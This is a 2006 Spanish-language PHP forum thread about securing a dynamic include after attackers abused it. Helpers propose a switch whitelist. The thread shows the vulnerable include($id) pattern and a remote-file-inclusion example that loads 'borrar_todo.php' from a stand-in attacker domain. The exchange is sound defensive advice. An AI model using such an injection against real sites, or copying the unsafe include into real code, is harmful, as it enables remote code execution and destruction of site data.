proteger include, es esta una buena opcion?

escan_0 · #1 (**permalink**) 13/01/2006, 10:10

Hace tiempo hice una web con un include a secas para insertar dentro de mi web otros enlaces

include("$id");

Esto provoco un gran error y muchos haker entraban y no hacian cosas muy buenas en mi web. Eso hizo quitar el include.

ahora lo quiero volver a poner y pensado en este sistema:

Código PHP:

  <?

$zona1="link1.php";

$zona2="link2.php";

if ($id == "") {

include ('inicio.php');

} else {

$incluir=$$id;

include ($incluir);

}

?>

Este sistema que ideado tambien puede procar esas entradas de haker? si es asi que me recomiendan

saludos

Seppo · #2 (**permalink**) 13/01/2006, 11:05

Yo creo q ese sistema es tb inseguro...
Deberías numerar los sitios que permites incluir...

Código PHP:

  switch ($id) {
  case "opcion1":
    include("incluir1.php");
    break;

  case "opcion2":
    include("incluir2.php");
    break;

  default:
    include("inicio.php");
    break;

además de la forma q pusiste pasas por GET la ruta del archivo a incluir... lo cual se ve "feo", con el switch q propuse podés pasar "opcion1" y que el código lo traduzca a la página

escan_0 · #3 (**permalink**) 13/01/2006, 11:13

no se exactamente como funciona el switch como podria quedar el codigo?

saludos

Seppo · #4 (**permalink**) 13/01/2006, 11:27

switch evita una cadena de elseif
lo que hace es comparar el valor de la variable (en el ejemplo, $id), con todos los valores de case, y al entrar a uno se ejecuta hasta el "break;", si no encuentra ningún valor, entra a default

El código podría quedar como lo pasé, solo que en $id en vez de enviar la dirección de la página, deberías poner un valor para que lo busque en el switch (en el ejemplo, "opcion1" u "opcion2")

califa010 · #5 (**permalink**) 13/01/2006, 11:46

Te conviene hacer como te dijo Seppo. Y nunca, poner esto:

include($id);

Especialmente, si ese valor llega por un formulario o si tenés register_globals On.

Suponete que lo ponés así. Alguien podría escribir en la barra del navegador http://www.tudominio.com/tuscript.ph...orrar_todo.php

Tu script quedaría:

include("http://www.dominio-hacker.com/borrar_todo.php");

O sea, estarías ejecutando un código que alguien armó y colgó en su servidor para borrarte todo el sitio.

Tené en cuenta que con include/requiere estás ejectuando codígo en tu servidor. Y puede venir de cualquier lado, si no tomás algunas precauciones.

Suerte
Califa